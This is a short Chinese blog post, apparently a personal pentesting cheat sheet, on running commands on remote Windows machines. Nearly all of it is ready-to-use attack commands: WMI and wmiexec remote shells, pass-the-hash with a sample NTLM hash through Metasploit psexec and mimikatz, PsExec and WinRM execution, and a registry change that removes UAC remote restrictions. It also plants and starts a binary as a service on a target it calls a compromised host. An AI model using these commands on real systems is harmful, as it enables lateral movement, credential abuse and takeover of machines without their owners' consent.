Windows远程执行cmd命令的方法

觉得对自己有用 于是就记录下来了

WMI执行命令(普通权限可以进行hash传递):

无回显执行:wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>c:\result.txt"

利用wmiexec工具配合进行反弹半交互shell:cscript.exe //nologo wmiexec.vbs /shell 10.10.10.21 Administrator 123456


2.使用Hash直接登录Windows(HASH传递):

抓取windows hash值,得到administrator的hash:

598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF

然后利用psexec进行HASH传递:

msf调用payload:
use exploit/windows/smb/psexec
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run

3. mimikatz传递hash方式连接+at计划任务执行命令:

mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" 
//传递hash
dir \\192.168.1.185\c$

4.psexec.exe远程执行命令

psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe

5.winrm远程执行命令

//肉机上面快速启动winrm服务,并绑定到5985端口:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
//客户端连接方式:
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd
//UAC问题,修改后,普通管理员登录后也是高权限:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"

6.远程命令执行sc命令

net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test

你可能感兴趣的:(渗透技巧)